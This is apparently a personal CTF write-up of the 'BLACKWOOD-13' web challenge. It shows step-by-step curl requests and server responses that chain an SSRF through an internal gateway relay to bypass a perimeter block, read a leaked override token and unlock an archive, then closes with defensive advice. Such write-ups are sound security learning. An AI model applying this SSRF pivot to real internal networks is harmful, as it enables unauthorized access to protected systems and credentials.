November 30, 2026
BLACKWOOD-13: How I Used SSRF to Reach an Isolated Internal Network
From inspecting a JavaScript bundle to bypassing a perimeter restriction — a web exploitation walkthrough from RED REAPER QUALIFICATION…

By Khadija Ikram
6 min read
- 1 From inspecting a JavaScript bundle to bypassing a perimeter restriction — a web exploitation walkthrough from RED REAPER QUALIFICATION 2026.
- 2 The Interesting Part Wasn't Just Finding SSRF
- 3 1. Understanding the Challenge
- 4 2. Reconnaissance: Looking Beyond the Homepage
- 5 Inspecting the JavaScript bundle
From inspecting a JavaScript bundle to bypassing a perimeter restriction — a web exploitation walkthrough from RED REAPER QUALIFICATION 2026.
The Interesting Part Wasn't Just Finding SSRF
A web application gives you a URL inspection feature. You submit a URL, and the application returns the response.
It sounds straightforward. But what happens when the application can reach systems that you cannot access directly?
That was the interesting part of BLACKWOOD-13.
During RED REAPER QUALIFICATION 2026, I worked through all six challenges in the Web category. Our team eventually secured 55th place globally out of 369 participating teams, solving 30 challenges and earning 2,910 points.
BLACKWOOD-13 was one of the challenges that made me look beyond the obvious functionality of a web application. The objective was to investigate a URL inspection service, find a way around its network restrictions, reach an isolated internal system, and retrieve a classified flag.
What initially looked like a simple URL inspection feature turned out to be an entry point into an internal network. Here's how I approached it.
1. Understanding the Challenge
The challenge description introduced an abandoned underground research facility called BLACKWOOD-13. After the facility went dark in October 1998, the only service responding to the outside world was a URL inspection engine.
Challenge details:
- Competition: RED REAPER QUALIFICATION 2026
- Challenge: BLACKWOOD-13
- Category: Web
- Target: https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site/
- Flag format:
RxR{...}
The first thing I wanted to understand was how the inspection service actually worked. Rather than immediately testing random URLs, I started with reconnaissance.
2. Reconnaissance: Looking Beyond the Homepage
I began by inspecting the target's HTTP response.
curl -s https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site/ | headcurl -s https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site/ | headThe response headers included x-powered-by: Express and server: cloudflare. The application was a React Single Page Application (SPA).
One observation was particularly useful: adding query parameters to the homepage did not trigger the expected inspection functionality. This suggested that the actual functionality was handled by a backend API rather than directly through the homepage URL.
So, instead of spending time guessing parameters, I moved to the JavaScript bundle.
Inspecting the JavaScript bundle
The HTML referenced a JavaScript file at /assets/index-Ddy5ecth.js. I downloaded it and formatted it to make the code easier to inspect.
curl -s https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site/assets/index-Ddy5ecth.js -o app.js
npx prettier --write app.jscurl -s https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site/assets/index-Ddy5ecth.js -o app.js
npx prettier --write app.jsNext, I searched for the API configuration and inspection-related functions.
grep -noE '(baseURL|BASE_URL|API_BASE)[^,;]{0,80}' app.js
grep -noE '.{0,60}(inspect|preview|telemetry|url:).{0,80}' app.js | grep -viE 'react|flags|modulepreload' | head -40grep -noE '(baseURL|BASE_URL|API_BASE)[^,;]{0,80}' app.js
grep -noE '.{0,60}(inspect|preview|telemetry|url:).{0,80}' app.js | grep -viE 'react|flags|modulepreload' | head -40Two findings immediately stood out:
baseURL: "/api"
return (await yo.post("/inspector/inspect", { url: w })).data;baseURL: "/api"
return (await yo.post("/inspector/inspect", { url: w })).data;This revealed the actual endpoint: POST /api/inspector/inspect.
But there was something else. The JavaScript bundle also contained references to internal hostnames:
http://gateway.blackwood13.local/status
http://sensor-01.blackwood13.local/
http://internal-core.blackwood13.local/dashboardhttp://gateway.blackwood13.local/status
http://sensor-01.blackwood13.local/
http://internal-core.blackwood13.local/dashboardThe internal core hostname even had a label: Direct Core (Blocked).
That was an interesting clue. The application was exposing references to systems that were supposedly inaccessible from outside. I now had an endpoint to investigate and a few internal hostnames to test.
3. Identifying the SSRF Vulnerability
I started with the gateway because it appeared to be an available internal service.
BASE=https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site
curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/status"}'BASE=https://ffb736e8-68ba-4263-b42a-f8bb35ea3078.redx.site
curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/status"}'The service returned a successful response:
{
"status": 200,
"url": "http://gateway.blackwood13.local/status",
"headers": { "server": "BLACKWOOD-GATEWAY-1998" },
"body": "{ ... \"public_endpoints\": [\"/status\", \"/ping\", \"/relay?target=<url> (Inter-facility routing relay service)\"] ... }"
}{
"status": 200,
"url": "http://gateway.blackwood13.local/status",
"headers": { "server": "BLACKWOOD-GATEWAY-1998" },
"body": "{ ... \"public_endpoints\": [\"/status\", \"/ping\", \"/relay?target=<url> (Inter-facility routing relay service)\"] ... }"
}This confirmed something important: the backend was fetching the submitted URL and returning the response. That behaviour indicated a Server-Side Request Forgery (SSRF) vulnerability.
But the most useful discovery was hidden in the gateway response. It exposed an endpoint: /relay?target=<url>. I decided to investigate that further.
Testing direct access to the internal core
Before using the relay, I tested the internal core directly.
curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://internal-core.blackwood13.local/dashboard"}'curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://internal-core.blackwood13.local/dashboard"}'The response was a 403 Forbidden by Perimeter Firewall with the rule: "RULE 403-OMEGA: Direct external queries to internal core network are prohibited."
Direct access was blocked. At this point, I had two useful observations:
- The inspection service could reach the gateway.
- The internal core was protected by a perimeter restriction.
And the gateway had just revealed a relay endpoint. The next step was to see whether these pieces could be connected.
4. The Turning Point: Using the Gateway Relay
This was the most important part of the challenge.
The gateway exposed a relay that accepted another URL through its target parameter. Instead of asking the inspection service to contact the blocked internal core directly, I routed the request through the accessible gateway.
curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/dashboard"}'curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/dashboard"}'And the response was different this time.
{
"status": 200,
"redirected": true,
"redirectChain": [
"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/dashboard",
"http://internal-core.blackwood13.local/dashboard"
],
"headers": { "server": "BLACKWOOD-CORE-INTRANET/1.0" },
"body": "{ \"title\": \"BLACKWOOD-13 CORE RESEARCH INTRANET\", \"intranet_endpoints\": [ ... ] }"
}{
"status": 200,
"redirected": true,
"redirectChain": [
"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/dashboard",
"http://internal-core.blackwood13.local/dashboard"
],
"headers": { "server": "BLACKWOOD-CORE-INTRANET/1.0" },
"body": "{ \"title\": \"BLACKWOOD-13 CORE RESEARCH INTRANET\", \"intranet_endpoints\": [ ... ] }"
}The internal dashboard was now accessible.
The important distinction was that I had not accessed the internal core through a direct request. The request first went to the allowed gateway, which then forwarded it to the restricted destination. The gateway was effectively acting as an unrestricted internal relay.
The perimeter restriction checked the outer hostname, while the relay forwarded the request to another destination. This was the weakness that made the network restriction ineffective.
The lesson here was simple: allowing a trusted intermediary without controlling where it can send requests can create an unexpected path into a restricted network.
5. Internal Enumeration: Following the Dashboard
Reaching the dashboard was not the end of the investigation. I still needed to understand what was available inside the internal environment. The dashboard revealed three interesting endpoints:
Endpoints and Purpose
/maintenance Diagnostics and override token ledger
/telemetry Acoustic recordings
/archive/containment-98 Restricted primary archive
The archive was locked, but the maintenance endpoint looked promising. I sent another request through the gateway relay:
curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/maintenance"}'curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/maintenance"}'The response contained a maintenance log:
{
"maintenance_log": [
"[03:11:50] Emergency maintenance override token generated: token=signal_amber_13",
"[03:13:01] Token allows single-operator decryption at: /archive/containment-98?token=signal_amber_13"
],
"lockdown_parameters": {
"vault_endpoint": "/archive/containment-98",
"required_credential": "token=signal_amber_13"
}
}{
"maintenance_log": [
"[03:11:50] Emergency maintenance override token generated: token=signal_amber_13",
"[03:13:01] Token allows single-operator decryption at: /archive/containment-98?token=signal_amber_13"
],
"lockdown_parameters": {
"vault_endpoint": "/archive/containment-98",
"required_credential": "token=signal_amber_13"
}
}There it was. The maintenance endpoint had exposed an emergency override token in its response. The token was signal_amber_13. The same response also identified the archive endpoint and explained how the token was expected to be used. Now I had everything needed for the final step.
6. Unlocking the Archive
The last step was to access the restricted archive using the discovered token. I constructed the request through the same gateway relay:
curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/archive/containment-98?token=signal_amber_13"}'curl -s -X POST "$BASE/api/inspector/inspect" \
-H 'Content-Type: application/json' \
-d '{"url":"http://gateway.blackwood13.local/relay?target=http://internal-core.blackwood13.local/archive/containment-98?token=signal_amber_13"}'The response confirmed that the archive had been unlocked.
{
"status": "SUCCESS — CLASSIFIED ARCHIVE UNLOCKED",
"clearance_flag": "RxR{d533981f-9a7b-420c-91a4-92010ba396f2}"
}{
"status": "SUCCESS — CLASSIFIED ARCHIVE UNLOCKED",
"clearance_flag": "RxR{d533981f-9a7b-420c-91a4-92010ba396f2}"
}The final flag was retrieved. Challenge completed.
7. Breaking Down the Vulnerability Chain
Looking back, the challenge was not built around just one isolated weakness. Several security issues connected to create the complete attack path.
- SSRF in the inspection service: The backend accepted a user-controlled URL and fetched it from the server.
- An unrestricted internal relay: The gateway forwarded requests to arbitrary destinations, bypassing the perimeter check.
- Sensitive information exposure: The maintenance endpoint exposed an emergency override token in plaintext.
The complete exploitation chain was: SSRF → Internal Relay → Network Pivot → Credential Exposure → Archive Access → Flag.
8. What Could Have Prevented This?
From a defensive perspective, BLACKWOOD-13 demonstrates why URL validation alone is not enough.
- Validate destinations at the network level: Applications should validate resolved IP addresses, blocking private and loopback destinations at connection time.
- Revalidate redirects: Destination validation should happen after every redirect.
- Restrict relay functionality: Internal gateways should enforce strict destination allow lists.
- Protect sensitive information: Credentials and emergency overrides should never be exposed through maintenance logs.
9. What I Took Away From This Challenge
The most valuable part of BLACKWOOD-13 was not simply retrieving the flag. It was understanding how to move from one observation to another without losing sight of the bigger picture.
- Inspect the application before attacking it. The JavaScript bundle revealed the actual API endpoint and internal hostnames.
- Pay attention to unexpected responses. The gateway's response exposed the relay endpoint.
- A blocked request does not always mean the destination is unreachable. The direct request returned a 403, but the same destination became accessible through the gateway.
- Think in terms of attack paths, not individual vulnerabilities.
And perhaps the biggest takeaway: sometimes the most useful information is not hidden behind a complicated exploit. It is already being returned by the application; you just need to know what to look for.
Final Thoughts
BLACKWOOD-13 reminded me that web security is as much about investigation as it is about exploitation.
Finding an endpoint is one thing. Understanding how it interacts with other systems, where trust boundaries exist, and how those boundaries can fail is where the real learning happens.
This challenge was one (BOO!) of six Web challenges I solved during RED REAPER QUALIFICATION 2026. Our team finished 55th globally out of 369 teams, with 30 challenges solved and 2,910 points.
For me, the result was rewarding, but the process mattered just as much.
Every response is evidence. Every unexpected behaviour is a question. And sometimes, following one small clue is what reveals the entire path.
About the Author
Khadija Ikram is a Computer Science student interested in cybersecurity, web security, and security research. She enjoys exploring vulnerabilities through hands-on labs and CTF challenges, documenting technical investigations, and learning how systems fail and how they can be secured.
Written by Khadija Ikram | Web Category | RED REAPER QUALIFICATION 2026